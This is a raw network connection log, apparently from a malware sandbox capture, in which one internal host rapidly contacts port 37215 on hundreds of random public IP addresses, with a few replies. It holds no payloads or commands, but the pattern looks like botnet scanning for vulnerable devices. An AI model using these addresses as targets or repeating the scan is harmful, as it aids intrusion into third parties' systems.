Jan 1, 2024 12:51:55.017893076 CET	37751	37215	192.168.2.13	156.215.40.185
Jan 1, 2024 12:51:55.017900944 CET	37751	37215	192.168.2.13	197.24.32.33
Jan 1, 2024 12:51:55.017911911 CET	37751	37215	192.168.2.13	197.13.172.202
Jan 1, 2024 12:51:55.017915964 CET	37751	37215	192.168.2.13	94.229.39.66
Jan 1, 2024 12:51:55.017919064 CET	37751	37215	192.168.2.13	41.54.122.124
Jan 1, 2024 12:51:55.017927885 CET	37751	37215	192.168.2.13	156.105.4.133
Jan 1, 2024 12:51:55.017941952 CET	37751	37215	192.168.2.13	197.48.66.241
Jan 1, 2024 12:51:55.017942905 CET	37751	37215	192.168.2.13	107.191.186.112
Jan 1, 2024 12:51:55.017942905 CET	37751	37215	192.168.2.13	156.186.100.45
Jan 1, 2024 12:51:55.017951012 CET	37751	37215	192.168.2.13	156.201.172.41
Jan 1, 2024 12:51:55.017951012 CET	37751	37215	192.168.2.13	156.20.165.169
Jan 1, 2024 12:51:55.017951012 CET	37751	37215	192.168.2.13	41.238.172.80
Jan 1, 2024 12:51:55.017971039 CET	37751	37215	192.168.2.13	41.172.250.207
Jan 1, 2024 12:51:55.017971992 CET	37751	37215	192.168.2.13	197.118.26.107
Jan 1, 2024 12:51:55.017977953 CET	37751	37215	192.168.2.13	95.167.236.15
Jan 1, 2024 12:51:55.017978907 CET	37751	37215	192.168.2.13	156.195.118.232
Jan 1, 2024 12:51:55.017982960 CET	37751	37215	192.168.2.13	197.179.22.58
Jan 1, 2024 12:51:55.017982960 CET	37751	37215	192.168.2.13	120.181.154.217
Jan 1, 2024 12:51:55.017986059 CET	37751	37215	192.168.2.13	94.60.159.100
Jan 1, 2024 12:51:55.017993927 CET	37751	37215	192.168.2.13	41.233.204.185
Jan 1, 2024 12:51:55.018003941 CET	37751	37215	192.168.2.13	190.195.201.249
Jan 1, 2024 12:51:55.018014908 CET	37751	37215	192.168.2.13	190.221.178.152
Jan 1, 2024 12:51:55.018014908 CET	37751	37215	192.168.2.13	41.82.34.193
Jan 1, 2024 12:51:55.018021107 CET	37751	37215	192.168.2.13	45.89.129.67
Jan 1, 2024 12:51:55.018021107 CET	37751	37215	192.168.2.13	41.150.131.105
Jan 1, 2024 12:51:55.018023014 CET	37751	37215	192.168.2.13	197.132.60.35
Jan 1, 2024 12:51:55.018023014 CET	37751	37215	192.168.2.13	197.138.255.169
Jan 1, 2024 12:51:55.018028021 CET	37751	37215	192.168.2.13	41.245.160.121
Jan 1, 2024 12:51:55.018030882 CET	37751	37215	192.168.2.13	120.193.204.123
Jan 1, 2024 12:51:55.018033028 CET	37751	37215	192.168.2.13	197.16.44.171
Jan 1, 2024 12:51:55.018035889 CET	37751	37215	192.168.2.13	160.250.34.109
Jan 1, 2024 12:51:55.018035889 CET	37751	37215	192.168.2.13	41.121.90.91
Jan 1, 2024 12:51:55.018035889 CET	37751	37215	192.168.2.13	102.190.66.58
Jan 1, 2024 12:51:55.018042088 CET	37751	37215	192.168.2.13	41.87.152.117
Jan 1, 2024 12:51:55.018042088 CET	37751	37215	192.168.2.13	156.184.53.7
Jan 1, 2024 12:51:55.018048048 CET	37751	37215	192.168.2.13	102.105.20.139
Jan 1, 2024 12:51:55.018048048 CET	37751	37215	192.168.2.13	41.226.115.232
Jan 1, 2024 12:51:55.018054962 CET	37751	37215	192.168.2.13	197.39.131.178
Jan 1, 2024 12:51:55.018054962 CET	37751	37215	192.168.2.13	197.205.165.230
Jan 1, 2024 12:51:55.018054962 CET	37751	37215	192.168.2.13	156.104.44.239
Jan 1, 2024 12:51:55.018054962 CET	37751	37215	192.168.2.13	156.230.0.228
Jan 1, 2024 12:51:55.018054962 CET	37751	37215	192.168.2.13	197.200.222.241
Jan 1, 2024 12:51:55.018057108 CET	37751	37215	192.168.2.13	154.29.192.72
Jan 1, 2024 12:51:55.018057108 CET	37751	37215	192.168.2.13	156.153.252.66
Jan 1, 2024 12:51:55.018058062 CET	37751	37215	192.168.2.13	197.56.93.185
Jan 1, 2024 12:51:55.018059015 CET	37751	37215	192.168.2.13	197.13.232.211
Jan 1, 2024 12:51:55.018069983 CET	37751	37215	192.168.2.13	156.171.4.133
Jan 1, 2024 12:51:55.018073082 CET	37751	37215	192.168.2.13	197.141.23.25
Jan 1, 2024 12:51:55.018081903 CET	37751	37215	192.168.2.13	197.209.98.111
Jan 1, 2024 12:51:55.018084049 CET	37751	37215	192.168.2.13	41.85.2.52
Jan 1, 2024 12:51:55.018094063 CET	37751	37215	192.168.2.13	45.208.228.231
Jan 1, 2024 12:51:55.018100023 CET	37751	37215	192.168.2.13	156.58.68.175
Jan 1, 2024 12:51:55.018100023 CET	37751	37215	192.168.2.13	156.216.80.155
Jan 1, 2024 12:51:55.018105030 CET	37751	37215	192.168.2.13	41.27.255.200
Jan 1, 2024 12:51:55.018105984 CET	37751	37215	192.168.2.13	156.77.145.241
Jan 1, 2024 12:51:55.018106937 CET	37751	37215	192.168.2.13	41.107.152.94
Jan 1, 2024 12:51:55.018115997 CET	37751	37215	192.168.2.13	156.148.221.42
Jan 1, 2024 12:51:55.018116951 CET	37751	37215	192.168.2.13	181.61.79.139
Jan 1, 2024 12:51:55.018130064 CET	37751	37215	192.168.2.13	41.0.211.143
Jan 1, 2024 12:51:55.018130064 CET	37751	37215	192.168.2.13	122.57.98.87
Jan 1, 2024 12:51:55.018132925 CET	37751	37215	192.168.2.13	197.135.73.70
Jan 1, 2024 12:51:55.018145084 CET	37751	37215	192.168.2.13	156.140.207.101
Jan 1, 2024 12:51:55.018151045 CET	37751	37215	192.168.2.13	41.175.96.216
Jan 1, 2024 12:51:55.018151045 CET	37751	37215	192.168.2.13	41.28.141.39
Jan 1, 2024 12:51:55.018153906 CET	37751	37215	192.168.2.13	197.106.123.208
Jan 1, 2024 12:51:55.018157005 CET	37751	37215	192.168.2.13	197.126.18.156
Jan 1, 2024 12:51:55.018157959 CET	37751	37215	192.168.2.13	197.140.21.137
Jan 1, 2024 12:51:55.018161058 CET	37751	37215	192.168.2.13	41.223.44.187
Jan 1, 2024 12:51:55.018168926 CET	37751	37215	192.168.2.13	41.138.171.17
Jan 1, 2024 12:51:55.018178940 CET	37751	37215	192.168.2.13	45.15.25.199
Jan 1, 2024 12:51:55.018178940 CET	37751	37215	192.168.2.13	156.49.105.85
Jan 1, 2024 12:51:55.018182993 CET	37751	37215	192.168.2.13	37.95.48.242
Jan 1, 2024 12:51:55.018184900 CET	37751	37215	192.168.2.13	121.19.224.198
Jan 1, 2024 12:51:55.018192053 CET	37751	37215	192.168.2.13	102.227.165.48
Jan 1, 2024 12:51:55.018193007 CET	37751	37215	192.168.2.13	160.252.96.226
Jan 1, 2024 12:51:55.018193007 CET	37751	37215	192.168.2.13	197.245.47.207
Jan 1, 2024 12:51:55.018193007 CET	37751	37215	192.168.2.13	156.61.137.15
Jan 1, 2024 12:51:55.018193007 CET	37751	37215	192.168.2.13	92.86.54.34
Jan 1, 2024 12:51:55.018198013 CET	37751	37215	192.168.2.13	222.168.119.88
Jan 1, 2024 12:51:55.018201113 CET	37751	37215	192.168.2.13	41.175.180.1
Jan 1, 2024 12:51:55.018209934 CET	37751	37215	192.168.2.13	41.158.35.74
Jan 1, 2024 12:51:55.018210888 CET	37751	37215	192.168.2.13	102.231.15.180
Jan 1, 2024 12:51:55.018218994 CET	37751	37215	192.168.2.13	196.77.213.94
Jan 1, 2024 12:51:55.018218994 CET	37751	37215	192.168.2.13	222.119.120.190
Jan 1, 2024 12:51:55.018223047 CET	37751	37215	192.168.2.13	41.72.198.30
Jan 1, 2024 12:51:55.018235922 CET	37751	37215	192.168.2.13	37.110.101.136
Jan 1, 2024 12:51:55.018238068 CET	37751	37215	192.168.2.13	156.200.75.158
Jan 1, 2024 12:51:55.036693096 CET	37500	37215	192.168.2.13	156.73.200.226
Jan 1, 2024 12:51:55.036712885 CET	55568	37215	192.168.2.13	156.73.193.222
Jan 1, 2024 12:51:55.036741018 CET	52370	37215	192.168.2.13	156.73.7.47
Jan 1, 2024 12:51:55.155472040 CET	37215	37751	197.6.220.7	192.168.2.13
Jan 1, 2024 12:51:55.179785967 CET	37215	37751	156.238.155.53	192.168.2.13
Jan 1, 2024 12:51:55.216803074 CET	37215	37751	181.3.23.164	192.168.2.13
Jan 1, 2024 12:51:55.255774975 CET	37215	37751	95.214.93.138	192.168.2.13
Jan 1, 2024 12:51:55.293395042 CET	37215	37751	138.59.210.29	192.168.2.13
Jan 1, 2024 12:51:55.305432081 CET	37215	37751	186.152.53.6	192.168.2.13
Jan 1, 2024 12:51:55.319276094 CET	37215	37751	156.224.9.61	192.168.2.13
Jan 1, 2024 12:51:55.319344997 CET	37751	37215	192.168.2.13	156.224.9.61
Jan 1, 2024 12:51:55.321177006 CET	37215	37751	222.119.120.190	192.168.2.13
Jan 1, 2024 12:51:55.352837086 CET	37215	37751	196.185.58.197	192.168.2.13
Jan 1, 2024 12:51:55.356332064 CET	37215	37751	197.9.159.170	192.168.2.13
Jan 1, 2024 12:51:55.377235889 CET	37215	37751	41.220.109.234	192.168.2.13
Jan 1, 2024 12:51:55.392147064 CET	37215	37751	196.36.84.6	192.168.2.13
Jan 1, 2024 12:51:55.395812988 CET	37215	37751	95.69.75.102	192.168.2.13
Jan 1, 2024 12:51:55.542213917 CET	37215	37751	197.214.146.117	192.168.2.13
Jan 1, 2024 12:51:56.019387960 CET	37751	37215	192.168.2.13	197.159.212.177
Jan 1, 2024 12:51:56.019393921 CET	37751	37215	192.168.2.13	41.24.180.238
Jan 1, 2024 12:51:56.019396067 CET	37751	37215	192.168.2.13	160.97.141.145
Jan 1, 2024 12:51:56.019393921 CET	37751	37215	192.168.2.13	156.106.254.208
Jan 1, 2024 12:51:56.019404888 CET	37751	37215	192.168.2.13	92.150.144.69
Jan 1, 2024 12:51:56.019414902 CET	37751	37215	192.168.2.13	120.153.142.104
Jan 1, 2024 12:51:56.019414902 CET	37751	37215	192.168.2.13	122.218.73.216
Jan 1, 2024 12:51:56.019427061 CET	37751	37215	192.168.2.13	95.95.132.1
Jan 1, 2024 12:51:56.019428015 CET	37751	37215	192.168.2.13	197.81.47.252
Jan 1, 2024 12:51:56.019428015 CET	37751	37215	192.168.2.13	222.36.224.73
Jan 1, 2024 12:51:56.019440889 CET	37751	37215	192.168.2.13	197.119.164.37
Jan 1, 2024 12:51:56.019440889 CET	37751	37215	192.168.2.13	156.28.168.59
Jan 1, 2024 12:51:56.019448042 CET	37751	37215	192.168.2.13	121.55.163.41
Jan 1, 2024 12:51:56.019448996 CET	37751	37215	192.168.2.13	122.40.152.24
Jan 1, 2024 12:51:56.019448996 CET	37751	37215	192.168.2.13	41.216.123.253
Jan 1, 2024 12:51:56.019448996 CET	37751	37215	192.168.2.13	120.74.118.243
Jan 1, 2024 12:51:56.019454002 CET	37751	37215	192.168.2.13	196.9.185.246
Jan 1, 2024 12:51:56.019454002 CET	37751	37215	192.168.2.13	122.65.98.170
Jan 1, 2024 12:51:56.019459009 CET	37751	37215	192.168.2.13	41.4.1.103
Jan 1, 2024 12:51:56.019459963 CET	37751	37215	192.168.2.13	107.59.138.211
Jan 1, 2024 12:51:56.019464970 CET	37751	37215	192.168.2.13	197.104.70.246
Jan 1, 2024 12:51:56.019464970 CET	37751	37215	192.168.2.13	41.54.53.195
Jan 1, 2024 12:51:56.019486904 CET	37751	37215	192.168.2.13	41.197.177.239
Jan 1, 2024 12:51:56.019486904 CET	37751	37215	192.168.2.13	122.197.100.50
Jan 1, 2024 12:51:56.019489050 CET	37751	37215	192.168.2.13	41.231.85.119
Jan 1, 2024 12:51:56.019489050 CET	37751	37215	192.168.2.13	92.124.27.209
Jan 1, 2024 12:51:56.019489050 CET	37751	37215	192.168.2.13	160.145.144.4
Jan 1, 2024 12:51:56.019489050 CET	37751	37215	192.168.2.13	102.101.84.174
Jan 1, 2024 12:51:56.019491911 CET	37751	37215	192.168.2.13	154.253.242.122
Jan 1, 2024 12:51:56.019491911 CET	37751	37215	192.168.2.13	197.64.168.12
Jan 1, 2024 12:51:56.019501925 CET	37751	37215	192.168.2.13	92.212.248.217
Jan 1, 2024 12:51:56.019501925 CET	37751	37215	192.168.2.13	197.246.215.104
Jan 1, 2024 12:51:56.019501925 CET	37751	37215	192.168.2.13	197.127.59.23
Jan 1, 2024 12:51:56.019505024 CET	37751	37215	192.168.2.13	181.0.248.91
Jan 1, 2024 12:51:56.019509077 CET	37751	37215	192.168.2.13	156.95.37.248
Jan 1, 2024 12:51:56.019512892 CET	37751	37215	192.168.2.13	156.135.148.73
Jan 1, 2024 12:51:56.019514084 CET	37751	37215	192.168.2.13	107.72.231.246
Jan 1, 2024 12:51:56.019514084 CET	37751	37215	192.168.2.13	197.200.18.70
Jan 1, 2024 12:51:56.019514084 CET	37751	37215	192.168.2.13	197.82.123.71
Jan 1, 2024 12:51:56.019516945 CET	37751	37215	192.168.2.13	156.245.90.210
Jan 1, 2024 12:51:56.019522905 CET	37751	37215	192.168.2.13	37.83.51.155
Jan 1, 2024 12:51:56.019522905 CET	37751	37215	192.168.2.13	156.10.21.173
Jan 1, 2024 12:51:56.019524097 CET	37751	37215	192.168.2.13	197.11.64.92
Jan 1, 2024 12:51:56.019532919 CET	37751	37215	192.168.2.13	197.63.19.76
Jan 1, 2024 12:51:56.019534111 CET	37751	37215	192.168.2.13	156.231.80.167
Jan 1, 2024 12:51:56.019534111 CET	37751	37215	192.168.2.13	196.56.221.88
Jan 1, 2024 12:51:56.019551039 CET	37751	37215	192.168.2.13	197.12.5.19
Jan 1, 2024 12:51:56.019553900 CET	37751	37215	192.168.2.13	197.210.151.67
Jan 1, 2024 12:51:56.019555092 CET	37751	37215	192.168.2.13	197.94.106.86
Jan 1, 2024 12:51:56.019561052 CET	37751	37215	192.168.2.13	156.193.12.94
Jan 1, 2024 12:51:56.019566059 CET	37751	37215	192.168.2.13	197.1.131.129
Jan 1, 2024 12:51:56.019575119 CET	37751	37215	192.168.2.13	41.139.157.116
Jan 1, 2024 12:51:56.019579887 CET	37751	37215	192.168.2.13	156.38.84.168
Jan 1, 2024 12:51:56.019579887 CET	37751	37215	192.168.2.13	160.67.45.34
Jan 1, 2024 12:51:56.019582987 CET	37751	37215	192.168.2.13	190.81.247.232
Jan 1, 2024 12:51:56.019601107 CET	37751	37215	192.168.2.13	197.228.11.188
Jan 1, 2024 12:51:56.019604921 CET	37751	37215	192.168.2.13	197.183.240.44
Jan 1, 2024 12:51:56.019604921 CET	37751	37215	192.168.2.13	107.190.146.250
Jan 1, 2024 12:51:56.019606113 CET	37751	37215	192.168.2.13	41.28.208.222
Jan 1, 2024 12:51:56.019608974 CET	37751	37215	192.168.2.13	186.223.175.111
Jan 1, 2024 12:51:56.019613028 CET	37751	37215	192.168.2.13	197.34.174.116
Jan 1, 2024 12:51:56.019614935 CET	37751	37215	192.168.2.13	156.225.115.75
Jan 1, 2024 12:51:56.019614935 CET	37751	37215	192.168.2.13	41.246.118.98
Jan 1, 2024 12:51:56.019615889 CET	37751	37215	192.168.2.13	190.120.198.57
Jan 1, 2024 12:51:56.019623041 CET	37751	37215	192.168.2.13	107.218.29.59
Jan 1, 2024 12:51:56.019623041 CET	37751	37215	192.168.2.13	41.166.213.173
Jan 1, 2024 12:51:56.019639015 CET	37751	37215	192.168.2.13	197.101.30.232
Jan 1, 2024 12:51:56.019639969 CET	37751	37215	192.168.2.13	41.39.48.66
Jan 1, 2024 12:51:56.019644022 CET	37751	37215	192.168.2.13	41.172.211.156
Jan 1, 2024 12:51:56.019644022 CET	37751	37215	192.168.2.13	156.98.146.95
Jan 1, 2024 12:51:56.019648075 CET	37751	37215	192.168.2.13	156.42.175.121
Jan 1, 2024 12:51:56.019663095 CET	37751	37215	192.168.2.13	197.212.162.171
Jan 1, 2024 12:51:56.019664049 CET	37751	37215	192.168.2.13	156.107.20.51
Jan 1, 2024 12:51:56.019665003 CET	37751	37215	192.168.2.13	122.223.112.178
Jan 1, 2024 12:51:56.019678116 CET	37751	37215	192.168.2.13	41.18.188.203
Jan 1, 2024 12:51:56.019682884 CET	37751	37215	192.168.2.13	156.228.164.28
Jan 1, 2024 12:51:56.019684076 CET	37751	37215	192.168.2.13	94.205.87.110
Jan 1, 2024 12:51:56.019686937 CET	37751	37215	192.168.2.13	154.186.64.158
Jan 1, 2024 12:51:56.019692898 CET	37751	37215	192.168.2.13	122.157.153.74
Jan 1, 2024 12:51:56.019706011 CET	37751	37215	192.168.2.13	92.7.86.211
Jan 1, 2024 12:51:56.019706011 CET	37751	37215	192.168.2.13	41.90.195.232
Jan 1, 2024 12:51:56.019706011 CET	37751	37215	192.168.2.13	120.86.162.30
Jan 1, 2024 12:51:56.019710064 CET	37751	37215	192.168.2.13	156.4.41.203
Jan 1, 2024 12:51:56.019710064 CET	37751	37215	192.168.2.13	154.162.191.120
Jan 1, 2024 12:51:56.019711971 CET	37751	37215	192.168.2.13	41.117.178.209
Jan 1, 2024 12:51:56.019716024 CET	37751	37215	192.168.2.13	156.101.143.144
Jan 1, 2024 12:51:56.019725084 CET	37751	37215	192.168.2.13	156.38.250.241
Jan 1, 2024 12:51:56.019726038 CET	37751	37215	192.168.2.13	156.229.61.125
Jan 1, 2024 12:51:56.019726038 CET	37751	37215	192.168.2.13	156.157.222.22
Jan 1, 2024 12:51:56.019737005 CET	37751	37215	192.168.2.13	197.248.30.99
Jan 1, 2024 12:51:56.019742966 CET	37751	37215	192.168.2.13	190.193.20.104
Jan 1, 2024 12:51:56.019745111 CET	37751	37215	192.168.2.13	156.171.39.22
Jan 1, 2024 12:51:56.019747972 CET	37751	37215	192.168.2.13	197.126.223.14
Jan 1, 2024 12:51:56.019752026 CET	37751	37215	192.168.2.13	41.235.26.230
Jan 1, 2024 12:51:56.019752026 CET	37751	37215	192.168.2.13	41.83.77.21
Jan 1, 2024 12:51:56.019752026 CET	37751	37215	192.168.2.13	94.231.188.252
Jan 1, 2024 12:51:56.019757986 CET	37751	37215	192.168.2.13	197.93.190.156
Jan 1, 2024 12:51:56.019768000 CET	37751	37215	192.168.2.13	156.108.5.176
Jan 1, 2024 12:51:56.019773006 CET	37751	37215	192.168.2.13	102.230.148.242
Jan 1, 2024 12:51:56.019773960 CET	37751	37215	192.168.2.13	156.1.58.1
Jan 1, 2024 12:51:56.019773960 CET	37751	37215	192.168.2.13	197.253.140.134
Jan 1, 2024 12:51:56.019773960 CET	37751	37215	192.168.2.13	107.191.105.69
Jan 1, 2024 12:51:56.019773960 CET	37751	37215	192.168.2.13	197.255.109.245
Jan 1, 2024 12:51:56.019783020 CET	37751	37215	192.168.2.13	37.132.217.42
Jan 1, 2024 12:51:56.019783974 CET	37751	37215	192.168.2.13	45.7.231.166
Jan 1, 2024 12:51:56.019787073 CET	37751	37215	192.168.2.13	107.154.8.4
Jan 1, 2024 12:51:56.019788027 CET	37751	37215	192.168.2.13	197.205.238.183
Jan 1, 2024 12:51:56.019788027 CET	37751	37215	192.168.2.13	92.233.186.129
Jan 1, 2024 12:51:56.019789934 CET	37751	37215	192.168.2.13	120.64.117.140
Jan 1, 2024 12:51:56.019789934 CET	37751	37215	192.168.2.13	37.8.83.154
Jan 1, 2024 12:51:56.019797087 CET	37751	37215	192.168.2.13	138.156.229.13
Jan 1, 2024 12:51:56.019797087 CET	37751	37215	192.168.2.13	222.102.83.164
Jan 1, 2024 12:51:56.019797087 CET	37751	37215	192.168.2.13	197.232.209.62
Jan 1, 2024 12:51:56.019797087 CET	37751	37215	192.168.2.13	157.56.196.15
Jan 1, 2024 12:51:56.019798994 CET	37751	37215	192.168.2.13	156.103.175.64
Jan 1, 2024 12:51:56.019798994 CET	37751	37215	192.168.2.13	160.126.227.136
Jan 1, 2024 12:51:56.019800901 CET	37751	37215	192.168.2.13	156.100.208.72
Jan 1, 2024 12:51:56.019800901 CET	37751	37215	192.168.2.13	41.13.92.144
Jan 1, 2024 12:51:56.019800901 CET	37751	37215	192.168.2.13	156.202.229.231
Jan 1, 2024 12:51:56.019803047 CET	37751	37215	192.168.2.13	156.106.246.38
Jan 1, 2024 12:51:56.019804001 CET	37751	37215	192.168.2.13	197.48.239.174
Jan 1, 2024 12:51:56.019808054 CET	37751	37215	192.168.2.13	107.86.115.109
Jan 1, 2024 12:51:56.019810915 CET	37751	37215	192.168.2.13	94.247.80.171
Jan 1, 2024 12:51:56.019814968 CET	37751	37215	192.168.2.13	41.1.120.135
Jan 1, 2024 12:51:56.019814968 CET	37751	37215	192.168.2.13	156.203.151.162
Jan 1, 2024 12:51:56.019829988 CET	37751	37215	192.168.2.13	41.57.117.171
Jan 1, 2024 12:51:56.019834042 CET	37751	37215	192.168.2.13	197.178.154.254
Jan 1, 2024 12:51:56.019834042 CET	37751	37215	192.168.2.13	197.232.61.247
Jan 1, 2024 12:51:56.019840956 CET	37751	37215	192.168.2.13	197.212.185.68
Jan 1, 2024 12:51:56.019845009 CET	37751	37215	192.168.2.13	41.248.77.75
Jan 1, 2024 12:51:56.019846916 CET	37751	37215	192.168.2.13	181.19.171.13
Jan 1, 2024 12:51:56.019846916 CET	37751	37215	192.168.2.13	41.85.57.149
Jan 1, 2024 12:51:56.019846916 CET	37751	37215	192.168.2.13	156.66.230.60
Jan 1, 2024 12:51:56.019846916 CET	37751	37215	192.168.2.13	197.21.221.45
Jan 1, 2024 12:51:56.019862890 CET	37751	37215	192.168.2.13	157.117.192.128
Jan 1, 2024 12:51:56.019862890 CET	37751	37215	192.168.2.13	156.46.172.19
Jan 1, 2024 12:51:56.019865036 CET	37751	37215	192.168.2.13	197.198.78.53
Jan 1, 2024 12:51:56.019862890 CET	37751	37215	192.168.2.13	156.16.247.180
Jan 1, 2024 12:51:56.019874096 CET	37751	37215	192.168.2.13	197.215.74.62
Jan 1, 2024 12:51:56.019882917 CET	37751	37215	192.168.2.13	197.140.3.251
Jan 1, 2024 12:51:56.019884109 CET	37751	37215	192.168.2.13	197.102.95.184
Jan 1, 2024 12:51:56.019886971 CET	37751	37215	192.168.2.13	197.159.0.231
Jan 1, 2024 12:51:56.019886971 CET	37751	37215	192.168.2.13	102.33.223.94
Jan 1, 2024 12:51:56.019891024 CET	37751	37215	192.168.2.13	45.170.201.104
Jan 1, 2024 12:51:56.019896030 CET	37751	37215	192.168.2.13	41.137.104.214
Jan 1, 2024 12:51:56.019906044 CET	37751	37215	192.168.2.13	197.172.136.238
Jan 1, 2024 12:51:56.019906044 CET	37751	37215	192.168.2.13	186.124.235.109
Jan 1, 2024 12:51:56.019910097 CET	37751	37215	192.168.2.13	156.3.152.4
Jan 1, 2024 12:51:56.019917011 CET	37751	37215	192.168.2.13	37.178.210.195
Jan 1, 2024 12:51:56.019920111 CET	37751	37215	192.168.2.13	197.176.177.206
Jan 1, 2024 12:51:56.019929886 CET	37751	37215	192.168.2.13	197.193.172.18
Jan 1, 2024 12:51:56.019929886 CET	37751	37215	192.168.2.13	154.230.204.221
Jan 1, 2024 12:51:56.019937038 CET	37751	37215	192.168.2.13	41.238.91.220
Jan 1, 2024 12:51:56.019944906 CET	37751	37215	192.168.2.13	160.4.60.129
Jan 1, 2024 12:51:56.019946098 CET	37751	37215	192.168.2.13	181.191.165.190
Jan 1, 2024 12:51:56.019946098 CET	37751	37215	192.168.2.13	41.10.136.197
Jan 1, 2024 12:51:56.019946098 CET	37751	37215	192.168.2.13	156.242.209.24
Jan 1, 2024 12:51:56.019961119 CET	37751	37215	192.168.2.13	156.125.91.61
Jan 1, 2024 12:51:56.019963026 CET	37751	37215	192.168.2.13	102.177.87.167
Jan 1, 2024 12:51:56.019973993 CET	37751	37215	192.168.2.13	196.51.28.128
Jan 1, 2024 12:51:56.019975901 CET	37751	37215	192.168.2.13	41.151.10.198
Jan 1, 2024 12:51:56.019975901 CET	37751	37215	192.168.2.13	197.234.39.19
Jan 1, 2024 12:51:56.019975901 CET	37751	37215	192.168.2.13	120.247.159.252
Jan 1, 2024 12:51:56.019977093 CET	37751	37215	192.168.2.13	197.243.24.239
Jan 1, 2024 12:51:56.019977093 CET	37751	37215	192.168.2.13	156.71.12.217
Jan 1, 2024 12:51:56.019977093 CET	37751	37215	192.168.2.13	41.103.216.222
Jan 1, 2024 12:51:56.019982100 CET	37751	37215	192.168.2.13	156.171.140.209
Jan 1, 2024 12:51:56.019984007 CET	37751	37215	192.168.2.13	156.250.184.239
Jan 1, 2024 12:51:56.019984961 CET	37751	37215	192.168.2.13	41.181.175.38
Jan 1, 2024 12:51:56.019984961 CET	37751	37215	192.168.2.13	197.171.194.191
Jan 1, 2024 12:51:56.019989967 CET	37751	37215	192.168.2.13	197.113.45.113
Jan 1, 2024 12:51:56.019992113 CET	37751	37215	192.168.2.13	197.199.253.3
Jan 1, 2024 12:51:56.019992113 CET	37751	37215	192.168.2.13	197.137.59.105
Jan 1, 2024 12:51:56.019992113 CET	37751	37215	192.168.2.13	197.67.133.78
Jan 1, 2024 12:51:56.019992113 CET	37751	37215	192.168.2.13	41.122.199.48
Jan 1, 2024 12:51:56.019994974 CET	37751	37215	192.168.2.13	197.57.176.173
Jan 1, 2024 12:51:56.019994974 CET	37751	37215	192.168.2.13	156.242.120.39
Jan 1, 2024 12:51:56.020003080 CET	37751	37215	192.168.2.13	122.239.116.227
Jan 1, 2024 12:51:56.020004034 CET	37751	37215	192.168.2.13	41.180.215.105
Jan 1, 2024 12:51:56.020016909 CET	37751	37215	192.168.2.13	197.152.91.244
Jan 1, 2024 12:51:56.020018101 CET	37751	37215	192.168.2.13	197.199.229.249
Jan 1, 2024 12:51:56.020018101 CET	37751	37215	192.168.2.13	181.154.83.156
Jan 1, 2024 12:51:56.020021915 CET	37751	37215	192.168.2.13	197.3.187.87
Jan 1, 2024 12:51:56.020023108 CET	37751	37215	192.168.2.13	157.0.170.39
Jan 1, 2024 12:51:56.020023108 CET	37751	37215	192.168.2.13	156.212.227.50
Jan 1, 2024 12:51:56.020023108 CET	37751	37215	192.168.2.13	156.72.88.201
Jan 1, 2024 12:51:56.020032883 CET	37751	37215	192.168.2.13	95.35.59.115
Jan 1, 2024 12:51:56.020037889 CET	37751	37215	192.168.2.13	120.241.203.168
Jan 1, 2024 12:51:56.020039082 CET	37751	37215	192.168.2.13	37.219.191.35
Jan 1, 2024 12:51:56.020050049 CET	37751	37215	192.168.2.13	41.130.20.170
Jan 1, 2024 12:51:56.020051003 CET	37751	37215	192.168.2.13	41.5.142.111
Jan 1, 2024 12:51:56.020050049 CET	37751	37215	192.168.2.13	157.26.155.35
Jan 1, 2024 12:51:56.020050049 CET	37751	37215	192.168.2.13	41.97.100.75
Jan 1, 2024 12:51:56.020061970 CET	37751	37215	192.168.2.13	102.119.172.116
Jan 1, 2024 12:51:56.020065069 CET	37751	37215	192.168.2.13	41.72.88.180
Jan 1, 2024 12:51:56.020067930 CET	37751	37215	192.168.2.13	41.184.251.247
Jan 1, 2024 12:51:56.020076036 CET	37751	37215	192.168.2.13	197.186.164.198
Jan 1, 2024 12:51:56.020076990 CET	37751	37215	192.168.2.13	41.239.232.125
Jan 1, 2024 12:51:56.020076990 CET	37751	37215	192.168.2.13	94.226.147.120
Jan 1, 2024 12:51:56.020087004 CET	37751	37215	192.168.2.13	156.211.220.44
Jan 1, 2024 12:51:56.020097017 CET	37751	37215	192.168.2.13	37.33.84.248
Jan 1, 2024 12:51:56.020097017 CET	37751	37215	192.168.2.13	156.171.71.207
Jan 1, 2024 12:51:56.020097971 CET	37751	37215	192.168.2.13	41.147.158.223
Jan 1, 2024 12:51:56.020097971 CET	37751	37215	192.168.2.13	107.22.173.57
Jan 1, 2024 12:51:56.020100117 CET	37751	37215	192.168.2.13	160.87.220.187
Jan 1, 2024 12:51:56.020117998 CET	37751	37215	192.168.2.13	156.16.88.21
Jan 1, 2024 12:51:56.020123959 CET	37751	37215	192.168.2.13	197.197.183.223
Jan 1, 2024 12:51:56.020132065 CET	37751	37215	192.168.2.13	102.10.151.59
Jan 1, 2024 12:51:56.020132065 CET	37751	37215	192.168.2.13	138.170.201.209
Jan 1, 2024 12:51:56.020132065 CET	37751	37215	192.168.2.13	45.76.209.167
Jan 1, 2024 12:51:56.020133972 CET	37751	37215	192.168.2.13	121.247.38.207
Jan 1, 2024 12:51:56.020134926 CET	37751	37215	192.168.2.13	197.247.89.105
Jan 1, 2024 12:51:56.020138979 CET	37751	37215	192.168.2.13	197.146.80.206
Jan 1, 2024 12:51:56.020139933 CET	37751	37215	192.168.2.13	41.189.45.92
Jan 1, 2024 12:51:56.020139933 CET	37751	37215	192.168.2.13	102.156.165.192
Jan 1, 2024 12:51:56.020144939 CET	37751	37215	192.168.2.13	186.243.10.203
Jan 1, 2024 12:51:56.020160913 CET	37751	37215	192.168.2.13	41.55.62.121
Jan 1, 2024 12:51:56.020164013 CET	37751	37215	192.168.2.13	156.20.235.200
Jan 1, 2024 12:51:56.020168066 CET	37751	37215	192.168.2.13	156.27.164.209
Jan 1, 2024 12:51:56.020168066 CET	37751	37215	192.168.2.13	197.82.149.151
Jan 1, 2024 12:51:56.020168066 CET	37751	37215	192.168.2.13	156.187.0.57
Jan 1, 2024 12:51:56.020179033 CET	37751	37215	192.168.2.13	156.111.200.76
Jan 1, 2024 12:51:56.020180941 CET	37751	37215	192.168.2.13	186.53.56.103
Jan 1, 2024 12:51:56.020186901 CET	37751	37215	192.168.2.13	156.127.12.10
Jan 1, 2024 12:51:56.020186901 CET	37751	37215	192.168.2.13	156.146.35.143
Jan 1, 2024 12:51:56.020186901 CET	37751	37215	192.168.2.13	41.23.97.158
Jan 1, 2024 12:51:56.020200014 CET	37751	37215	192.168.2.13	138.105.228.110
Jan 1, 2024 12:51:56.020205975 CET	37751	37215	192.168.2.13	45.43.93.121
